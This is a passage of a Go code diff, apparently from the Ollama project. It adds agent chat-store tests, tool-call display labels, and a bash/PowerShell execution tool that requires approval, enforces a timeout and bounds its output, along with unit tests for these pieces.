t.Fatal(err)
|
||||
}
|
||||
if len(chat.Messages) != 1 {
|
||||
t.Fatalf("messages = %d, want 1", len(chat.Messages))
|
||||
}
|
||||
msg := chat.Messages[0]
|
||||
if msg.ToolName != "bash" || msg.ToolCallID != "call-1" {
|
||||
t.Fatalf("tool metadata = %#v", msg)
|
||||
}
|
||||
if len(msg.Images) != 2 || !bytes.Equal(msg.Images[0], first) || !bytes.Equal(msg.Images[1], second) {
|
||||
t.Fatalf("images = %#v, want %#v", msg.Images, []api.ImageData{first, second})
|
||||
}
|
||||
|
||||
updated := api.ImageData([]byte("updated image"))
|
||||
if err := store.UpdateLastAgentMessage(ctx, "chat-1", api.Message{
|
||||
Role: "user",
|
||||
Content: "updated",
|
||||
Images: []api.ImageData{updated},
|
||||
}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
chat, err = store.AgentChat(ctx, "chat-1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(chat.Messages) != 1 || len(chat.Messages[0].Images) != 1 || !bytes.Equal(chat.Messages[0].Images[0], updated) {
|
||||
t.Fatalf("updated images = %#v", chat.Messages)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStoreLatestAndListChats(t *testing.T) {
|
||||
store := newTestAgentStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
if err := store.AppendAgentMessage(ctx, "chat-old", api.Message{Role: "user", Content: "old topic"}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AppendAgentMessage(ctx, "chat-old", api.Message{Role: "assistant", Content: "old answer"}, "llama3.2"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AppendAgentMessage(ctx, "chat-new", api.Message{Role: "user", Content: "new topic"}, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := store.AppendAgentMessage(ctx, "chat-new", api.Message{Role: "assistant", Content: "new answer"}, "qwen3"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
chat, err := store.LatestChat(ctx)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if chat.ID != "chat-new" || chat.Model != "qwen3" {
|
||||
t.Fatalf("latest chat = %#v, want chat-new with qwen3", chat)
|
||||
}
|
||||
|
||||
chat, err = store.LatestChatForModel(ctx, "llama3.2")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if chat.ID != "chat-old" {
|
||||
t.Fatalf("llama latest chat = %q, want chat-old", chat.ID)
|
||||
}
|
||||
if _, err := store.LatestChatForModel(ctx, "missing"); !errors.Is(err, sql.ErrNoRows) {
|
||||
t.Fatalf("missing model err = %v, want sql.ErrNoRows", err)
|
||||
}
|
||||
|
||||
summaries, err := store.ListChats(ctx, 10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(summaries) != 2 {
|
||||
t.Fatalf("summaries = %d, want 2", len(summaries))
|
||||
}
|
||||
if summaries[0].ID != "chat-new" || summaries[0].Title != "new topic" || summaries[0].Model != "qwen3" {
|
||||
t.Fatalf("newest summary = %#v", summaries[0])
|
||||
}
|
||||
if summaries[1].ID != "chat-old" || summaries[1].Model != "llama3.2" {
|
||||
t.Fatalf("older summary = %#v", summaries[1])
|
||||
}
|
||||
|
||||
future := time.Date(2099, 1, 1, 12, 0, 0, 0, time.UTC)
|
||||
if _, err := store.db.conn.ExecContext(ctx, `
|
||||
INSERT INTO chats (id, title, created_at)
|
||||
VALUES (?, ?, ?)
|
||||
`, "chat-archived", "archived topic", future); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := store.db.conn.ExecContext(ctx, `
|
||||
INSERT INTO messages (chat_id, role, content, model_name, created_at, updated_at, archived)
|
||||
VALUES (?, ?, ?, ?, ?, ?, 1)
|
||||
`, "chat-archived", "assistant", "archived answer", "ghost-model", future, future); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
chat, err = store.LatestChat(ctx)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if chat.ID != "chat-new" {
|
||||
t.Fatalf("latest chat = %q, want chat-new after archived future row", chat.ID)
|
||||
}
|
||||
if _, err := store.LatestChatForModel(ctx, "ghost-model"); !errors.Is(err, sql.ErrNoRows) {
|
||||
t.Fatalf("archived model err = %v, want sql.ErrNoRows", err)
|
||||
}
|
||||
summaries, err = store.ListChats(ctx, 10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(summaries) != 2 {
|
||||
t.Fatalf("summaries = %d, want archived-only chat hidden", len(summaries))
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStoreUpdateLastMessageIgnoresArchivedRows(t *testing.T) {
|
||||
store := newTestAgentStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{Role: "assistant", Content: "active"}, "llama3.2"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
future := time.Date(2099, 1, 1, 12, 0, 0, 0, time.UTC)
|
||||
if _, err := store.db.conn.ExecContext(ctx, `
|
||||
INSERT INTO messages (chat_id, role, content, created_at, updated_at, archived)
|
||||
VALUES (?, ?, ?, ?, ?, 1)
|
||||
`, "chat-1", "assistant", "archived", future, future); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := store.UpdateLastAgentMessage(ctx, "chat-1", api.Message{Role: "assistant", Content: "active updated"}, "llama3.2"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
chat, err := store.AgentChat(ctx, "chat-1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(chat.Messages) != 1 || chat.Messages[0].Content != "active updated" {
|
||||
t.Fatalf("active messages = %#v, want updated active message only", chat.Messages)
|
||||
}
|
||||
|
||||
var archivedContent string
|
||||
if err := store.db.conn.QueryRowContext(ctx, `
|
||||
SELECT content
|
||||
FROM messages
|
||||
WHERE chat_id = ? AND archived = 1
|
||||
ORDER BY id DESC
|
||||
LIMIT 1
|
||||
`, "chat-1").Scan(&archivedContent); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if archivedContent != "archived" {
|
||||
t.Fatalf("archived content = %q, want archived", archivedContent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStoreListUserMessages(t *testing.T) {
|
||||
store := newTestAgentStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
for _, msg := range []api.Message{
|
||||
{Role: "user", Content: "old prompt"},
|
||||
{Role: "assistant", Content: "not user"},
|
||||
{Role: "user", Content: "middle prompt"},
|
||||
{Role: "user", Content: " "},
|
||||
{Role: "user", Content: agent.CompactionSummaryMessagePrefix + "old context"},
|
||||
{Role: "user", Content: "new prompt"},
|
||||
} {
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", msg, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
if _, err := store.db.conn.ExecContext(ctx, `UPDATE messages SET archived = 1 WHERE content = ?`, "middle prompt"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
messages, err := store.ListUserMessages(ctx, 2)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := []string{"old prompt", "new prompt"}
|
||||
if !slices.Equal(messages, want) {
|
||||
t.Fatalf("messages = %#v, want %#v", messages, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStoreRepairsPreAgentSchema(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "db.sqlite")
|
||||
db, err := sql.Open("sqlite3", path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := db.Exec(`
|
||||
CREATE TABLE chats (
|
||||
id TEXT PRIMARY KEY,
|
||||
title TEXT NOT NULL DEFAULT '',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
browser_state TEXT
|
||||
);
|
||||
CREATE TABLE messages (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
chat_id TEXT NOT NULL,
|
||||
role TEXT NOT NULL,
|
||||
content TEXT NOT NULL DEFAULT '',
|
||||
thinking TEXT NOT NULL DEFAULT '',
|
||||
stream BOOLEAN NOT NULL DEFAULT 0,
|
||||
model_name TEXT,
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
|
||||
);
|
||||
CREATE TABLE tool_calls (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
message_id INTEGER NOT NULL,
|
||||
type TEXT NOT NULL,
|
||||
function_name TEXT NOT NULL,
|
||||
function_arguments TEXT NOT NULL,
|
||||
function_result TEXT,
|
||||
FOREIGN KEY (message_id) REFERENCES messages(id) ON DELETE CASCADE
|
||||
);
|
||||
`); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := db.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
store, err := New(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
if err := store.Close(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
})
|
||||
|
||||
ctx := context.Background()
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", api.Message{Role: "user", Content: "hello"}, "llama3.2"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
chat, err := store.AgentChat(ctx, "chat-1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if chat.Model != "llama3.2" || len(chat.Messages) != 1 || chat.Messages[0].Content != "hello" {
|
||||
t.Fatalf("chat = %#v", chat)
|
||||
}
|
||||
|
||||
var source string
|
||||
if err := store.db.conn.QueryRowContext(ctx, `SELECT source FROM chats WHERE id = ?`, "chat-1").Scan(&source); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if source != "agent" {
|
||||
t.Fatalf("source = %q, want agent", source)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentStoreArchivesCompactedMessages(t *testing.T) {
|
||||
store := newTestAgentStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
for _, msg := range []api.Message{
|
||||
{Role: "user", Content: "old request"},
|
||||
{Role: "assistant", Content: "old answer"},
|
||||
{Role: "user", Content: "recent request"},
|
||||
} {
|
||||
if err := store.AppendAgentMessage(ctx, "chat-1", msg, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := store.ArchiveForCompaction(ctx, "chat-1", 1, "summary", true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
agentChat, err := store.AgentChat(ctx, "chat-1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(agentChat.Messages) != 3 {
|
||||
t.Fatalf("active messages = %#v, want compaction pair plus latest request", agentChat.Messages)
|
||||
}
|
||||
if agentChat.Messages[0].Role != "assistant" || len(agentChat.Messages[0].ToolCalls) != 1 || agentChat.Messages[0].ToolCalls[0].Function.Name != agent.CompactionToolName {
|
||||
t.Fatalf("summary tool call = %#v", agentChat.Messages[0])
|
||||
}
|
||||
content := agentChat.Messages[1].Content
|
||||
if !strings.Contains(content, agent.CompactionContinueInstruction) {
|
||||
t.Fatalf("summary tool result missing continuation instruction: %q", content)
|
||||
}
|
||||
if agentChat.Messages[2].Content != "recent request" {
|
||||
t.Fatalf("kept message = %#v, want recent request", agentChat.Messages[2])
|
||||
}
|
||||
|
||||
var idsJSON string
|
||||
if err := store.db.conn.QueryRowContext(ctx, `
|
||||
SELECT archived_message_ids FROM compactions WHERE chat_id = ?
|
||||
`, "chat-1").Scan(&idsJSON); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var ids []int64
|
||||
if err := json.Unmarshal([]byte(idsJSON), &ids); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(ids) != 2 {
|
||||
t.Fatalf("archived ids = %v, want 2 ids", ids)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const maxToolInvocationCommandRunes = 100
|
||||
|
||||
// ToolDisplayName returns the user-facing label for a tool name.
|
||||
func ToolDisplayName(name string) string {
|
||||
switch name {
|
||||
case "web_search":
|
||||
return "Web Search"
|
||||
case "web_fetch":
|
||||
return "Web Fetch"
|
||||
case "bash":
|
||||
return "Bash"
|
||||
case "powershell":
|
||||
return "PowerShell"
|
||||
case "read":
|
||||
return "Read"
|
||||
case "list":
|
||||
return "List"
|
||||
case "edit":
|
||||
return "Edit"
|
||||
case "skill":
|
||||
return "Skill"
|
||||
default:
|
||||
if name == "" {
|
||||
return "Tool"
|
||||
}
|
||||
return name
|
||||
}
|
||||
}
|
||||
|
||||
// ToolInvocationLabel returns a compact user-facing label for a tool call.
|
||||
func ToolInvocationLabel(name string, args map[string]any) string {
|
||||
displayName := ToolDisplayName(name)
|
||||
for _, key := range []string{"query", "url", "command", "path", "name"} {
|
||||
if value, ok := displayStringArg(args, key); ok {
|
||||
if IsShellToolName(name) && key == "command" {
|
||||
value = truncateDisplayRunes(value, maxToolInvocationCommandRunes)
|
||||
}
|
||||
return fmt.Sprintf("%s(%s)", displayName, strconv.Quote(value))
|
||||
}
|
||||
}
|
||||
if len(args) == 0 {
|
||||
return displayName
|
||||
}
|
||||
return fmt.Sprintf("%s(%s)", displayName, formatDisplayArgs(args))
|
||||
}
|
||||
|
||||
// IsShellToolName reports whether name identifies a platform shell tool.
|
||||
func IsShellToolName(name string) bool {
|
||||
return name == "bash" || name == "powershell"
|
||||
}
|
||||
|
||||
func displayStringArg(args map[string]any, key string) (string, bool) {
|
||||
value, ok := args[key].(string)
|
||||
if !ok || strings.TrimSpace(value) == "" {
|
||||
return "", false
|
||||
}
|
||||
return value, true
|
||||
}
|
||||
|
||||
func truncateDisplayRunes(value string, limit int) string {
|
||||
runes := []rune(value)
|
||||
if limit <= 0 || len(runes) <= limit {
|
||||
return value
|
||||
}
|
||||
return string(runes[:limit]) + "..."
|
||||
}
|
||||
|
||||
func formatDisplayArgs(args map[string]any) string {
|
||||
keys := make([]string, 0, len(args))
|
||||
for key := range args {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
parts := make([]string, 0, len(keys))
|
||||
for _, key := range keys {
|
||||
value := fmt.Sprintf("%v", args[key])
|
||||
value = truncateDisplayRunes(value, 100)
|
||||
parts = append(parts, fmt.Sprintf("%s=%s", key, strconv.Quote(value)))
|
||||
}
|
||||
return strings.Join(parts, ", ")
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestToolInvocationLabelTruncatesLongBashCommand(t *testing.T) {
|
||||
command := strings.Repeat("a", 101)
|
||||
label := ToolInvocationLabel("bash", map[string]any{"command": command})
|
||||
want := `Bash("` + strings.Repeat("a", 100) + `...")`
|
||||
if label != want {
|
||||
t.Fatalf("label = %q, want %q", label, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestToolInvocationLabelCountsRunes(t *testing.T) {
|
||||
command := strings.Repeat("界", 101)
|
||||
label := ToolInvocationLabel("bash", map[string]any{"command": command})
|
||||
want := `Bash("` + strings.Repeat("界", 100) + `...")`
|
||||
if label != want {
|
||||
t.Fatalf("label = %q, want %q", label, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestToolInvocationLabelTruncatesLongPowerShellCommand(t *testing.T) {
|
||||
command := strings.Repeat("a", 101)
|
||||
label := ToolInvocationLabel("powershell", map[string]any{"command": command})
|
||||
want := `PowerShell("` + strings.Repeat("a", 100) + `...")`
|
||||
if label != want {
|
||||
t.Fatalf("label = %q, want %q", label, want)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
const (
|
||||
bashTimeout = 3 * time.Minute
|
||||
maxBashOutputBytes = 60_000
|
||||
)
|
||||
|
||||
type Bash struct{}
|
||||
|
||||
func NewBash() *Bash {
|
||||
return &Bash{}
|
||||
}
|
||||
|
||||
func (b *Bash) Name() string {
|
||||
return shellToolName()
|
||||
}
|
||||
|
||||
func (b *Bash) Description() string {
|
||||
return shellToolDescription()
|
||||
}
|
||||
|
||||
func (b *Bash) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("command", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: shellCommandDescription(),
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: b.Name(),
|
||||
Description: b.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Properties: props,
|
||||
Required: []string{"command"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (b *Bash) RequiresApproval(map[string]any) bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func (b *Bash) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
|
||||
command, ok := args["command"].(string)
|
||||
if !ok || strings.TrimSpace(command) == "" {
|
||||
return agent.ToolResult{}, fmt.Errorf("command parameter is required")
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(ctx, bashTimeout)
|
||||
defer cancel()
|
||||
|
||||
cwdFile, err := os.CreateTemp("", "ollama-agent-cwd-*")
|
||||
if err != nil {
|
||||
return agent.ToolResult{}, err
|
||||
}
|
||||
cwdPath := cwdFile.Name()
|
||||
_ = cwdFile.Close()
|
||||
defer os.Remove(cwdPath)
|
||||
|
||||
cmd := newBashCommand(ctx, command, cwdPath)
|
||||
cmd.Cancel = func() error {
|
||||
return killBashCommand(cmd)
|
||||
}
|
||||
if toolCtx.WorkingDir != "" {
|
||||
cmd.Dir = toolCtx.WorkingDir
|
||||
}
|
||||
|
||||
var stdout, stderr boundedOutput
|
||||
stdout.Limit = maxBashOutputBytes
|
||||
stderr.Limit = maxBashOutputBytes
|
||||
cmd.Stdout = &stdout
|
||||
cmd.Stderr = &stderr
|
||||
|
||||
err = runBashCommand(cmd)
|
||||
finalWorkingDir := readFinalWorkingDir(cwdPath)
|
||||
|
||||
var sb strings.Builder
|
||||
if stdout.Len() > 0 {
|
||||
sb.WriteString(stdout.String("stdout"))
|
||||
}
|
||||
if stderr.Len() > 0 {
|
||||
if sb.Len() > 0 {
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
sb.WriteString("stderr:\n")
|
||||
sb.WriteString(stderr.String("stderr"))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
if ctx.Err() == context.DeadlineExceeded {
|
||||
return agent.ToolResult{Content: sb.String() + "\n\nError: command timed out after " + bashTimeout.String(), WorkingDir: finalWorkingDir}, nil
|
||||
}
|
||||
if ctx.Err() == context.Canceled {
|
||||
return agent.ToolResult{Content: sb.String() + "\n\nError: command was canceled", WorkingDir: finalWorkingDir}, nil
|
||||
}
|
||||
if exitErr, ok := err.(*exec.ExitError); ok {
|
||||
return agent.ToolResult{Content: sb.String() + fmt.Sprintf("\n\nExit code: %d", exitErr.ExitCode()), WorkingDir: finalWorkingDir}, nil
|
||||
}
|
||||
return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, fmt.Errorf("executing command: %w", err)
|
||||
}
|
||||
|
||||
if sb.Len() == 0 {
|
||||
return agent.ToolResult{Content: "(no output)", WorkingDir: finalWorkingDir}, nil
|
||||
}
|
||||
return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, nil
|
||||
}
|
||||
|
||||
func readFinalWorkingDir(path string) string {
|
||||
content, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
workingDir := strings.TrimPrefix(string(content), "\ufeff")
|
||||
workingDir = strings.TrimSpace(workingDir)
|
||||
if workingDir == "" {
|
||||
return ""
|
||||
}
|
||||
workingDir = normalizeBashWorkingDir(workingDir)
|
||||
info, err := os.Stat(workingDir)
|
||||
if err != nil || !info.IsDir() {
|
||||
return ""
|
||||
}
|
||||
return workingDir
|
||||
}
|
||||
|
||||
func normalizeBashWorkingDir(workingDir string) string {
|
||||
if runtime.GOOS == "windows" && len(workingDir) >= 3 && workingDir[0] == '/' && workingDir[2] == '/' && isASCIIAlpha(workingDir[1]) {
|
||||
workingDir = strings.ToUpper(string(workingDir[1])) + ":" + workingDir[2:]
|
||||
}
|
||||
workingDir = filepath.Clean(filepath.FromSlash(workingDir))
|
||||
if runtime.GOOS == "windows" && len(workingDir) >= 2 && workingDir[1] == ':' && isASCIIAlpha(workingDir[0]) {
|
||||
workingDir = strings.ToUpper(string(workingDir[0])) + workingDir[1:]
|
||||
}
|
||||
return workingDir
|
||||
}
|
||||
|
||||
func isASCIIAlpha(b byte) bool {
|
||||
return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
|
||||
}
|
||||
|
||||
func shellQuote(value string) string {
|
||||
return "'" + strings.ReplaceAll(value, "'", "'\\''") + "'"
|
||||
}
|
||||
|
||||
type boundedOutput struct {
|
||||
Limit int
|
||||
buf strings.Builder
|
||||
omitted int
|
||||
}
|
||||
|
||||
func (b *boundedOutput) Write(p []byte) (int, error) {
|
||||
if b.Limit <= 0 {
|
||||
b.omitted += len(p)
|
||||
return len(p), nil
|
||||
}
|
||||
remaining := b.Limit - b.buf.Len()
|
||||
if remaining <= 0 {
|
||||
b.omitted += len(p)
|
||||
return len(p), nil
|
||||
}
|
||||
if len(p) <= remaining {
|
||||
b.buf.Write(p)
|
||||
return len(p), nil
|
||||
}
|
||||
b.buf.Write(p[:remaining])
|
||||
b.omitted += len(p) - remaining
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
func (b *boundedOutput) Len() int {
|
||||
return b.buf.Len() + b.omitted
|
||||
}
|
||||
|
||||
func (b *boundedOutput) String(label string) string {
|
||||
content := b.buf.String()
|
||||
if b.omitted == 0 {
|
||||
return content
|
||||
}
|
||||
return content + fmt.Sprintf("\n\n[%s truncated: omitted ~%d tokens]", label, approximateTokensFromBytes(b.omitted))
|
||||
}
|
||||
|
||||
func approximateTokensFromBytes(n int) int {
|
||||
if n <= 0 {
|
||||
return 0
|
||||
}
|
||||
return max(1, (n+3)/4)
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/agent"
|
||||
)
|
||||
|
||||
func TestBashReportsFinalWorkingDir(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
subdir := filepath.Join(root, "sub")
|
||||
if err := os.Mkdir(subdir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
result, err := NewBash().Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
|
||||
"command": shellTestCommand("cd sub && pwd", "Set-Location sub; Get-Location"),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
wantDir, err := filepath.EvalSymlinks(subdir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.WorkingDir != wantDir {
|
||||
t.Fatalf("working dir = %q, want %q", result.WorkingDir, wantDir)
|
||||
}
|
||||
if !strings.Contains(result.Content, "sub") {
|
||||
t.Fatalf("content = %q, want pwd output", result.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBashBoundsOutputWhileRunning(t *testing.T) {
|
||||
result, err := NewBash().Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
|
||||
"command": shellTestCommand("yes x | head -c 70000", "[Console]::Out.Write(('x' * 70000))"),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(result.Content, "[stdout truncated: omitted ~") || !strings.Contains(result.Content, " tokens]") {
|
||||
t.Fatalf("content = %q, want stdout truncation marker", result.Content)
|
||||
}
|
||||
if count, want := strings.Count(result.Content, "x"), shellTestCapturedXCount(); count != want {
|
||||
t.Fatalf("captured x count = %d, want %d", count, want)
|
||||
}
|
||||
if len(result.Content) > maxBashOutputBytes+200 {
|
||||
t.Fatalf("content length = %d, want bounded output", len(result.Content))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBashReportsCanceledCommand(t *testing.T) {
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
cancel()
|
||||
|
||||
result, err := NewBash().Execute(ctx, agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
|
||||
"command": shellTestCommand("sleep 10", "Start-Sleep -Seconds 10"),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(result.Content, "Error: command was canceled") {
|
||||
t.Fatalf("content = %q, want canceled message", result.Content)
|
||||
}
|
||||
if strings.Contains(result.Content, "Exit code: -1") {
|
||||
t.Fatalf("content = %q, should not mask cancellation as exit code", result.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func shellTestCommand(unix, windows string) string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return windows
|
||||
}
|
||||
return unix
|
||||
}
|
||||
|
||||
func shellTestCapturedXCount() int {
|
||||
if runtime.GOOS == "windows" {
|
||||
return maxBashOutputBytes
|
||||
}
|
||||
return maxBashOutputBytes / 2
|
||||
}
|
||||
|
||||
func TestReadFinalWorkingDirRejectsInvalidPaths(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
cwdFile := filepath.Join(dir, "cwd")
|
||||
notDir := filepath.Join(dir, "file.txt")
|
||||
if err := os.WriteFile(notDir, []byte("not a dir"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(cwdFile, []byte(notDir+"\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := readFinalWorkingDir(cwdFile); got != "" {
|
||||
t.Fatalf("regular file cwd = %q, want empty", got)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(cwdFile, []byte(filepath.Join(dir, "missing")+"\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := readFinalWorkingDir(cwdFile); got != "" {
|
||||
t.Fatalf("missing cwd = %q, want empty", got)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(cwdFile, []byte(dir+"\n"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := readFinalWorkingDir(cwdFile); got != dir {
|
||||
t.Fatalf("directory cwd = %q, want %q", got, dir)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeBashWorkingDirWindowsDriveLetter(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("windows path normalization")
|
||||
}
|
||||
got := normalizeBashWorkingDir("/c/Users/jdoe/project")
|
||||
want := filepath.Clean(`C:\Users\jdoe\project`)
|
||||
if got != want {
|
||||
t.Fatalf("working dir = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
//go:build !windows
|
||||
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func shellToolName() string {
|
||||
return "bash"
|
||||
}
|
||||
|
||||
func shellToolDescription() string {
|
||||
return "Execute a bash command on the system. Use this to inspect files, run tests, and perform development tasks."
|
||||
}
|
||||
|
||||
func shellCommandDescription() string {
|
||||
return "The bash command to execute."
|
||||
}
|
||||
|
||||
func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
|
||||
script := command + "\n__ollama_status=$?\npwd -P > " + shellQuote(cwdPath) + "\nexit $__ollama_status"
|
||||
cmd := exec.CommandContext(ctx, "bash", "-c", script)
|
||||
configureBashCommand(cmd)
|
||||
return cmd
|
||||
}
|
||||
|
||||
func configureBashCommand(cmd *exec.Cmd) {
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
|
||||
}
|
||||
|
||||
func runBashCommand(cmd *exec.Cmd) error {
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func killBashCommand(cmd *exec.Cmd) error {
|
||||
if cmd == nil || cmd.Process == nil {
|
||||
return nil
|
||||
}
|
||||
_ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
//go:build !windows
|
||||
|
||||
package tools
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestConfigureBashCommandSetsProcessGroup(t *testing.T) {
|
||||
cmd := exec.Command("bash", "-c", "true")
|
||||
configureBashCommand(cmd)
|
||||
if cmd.SysProcAttr == nil || !cmd.SysProcAttr.Setpgid {
|
||||
t.Fatalf("configureBashCommand should start bash in a new process group")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
//go:build windows
|
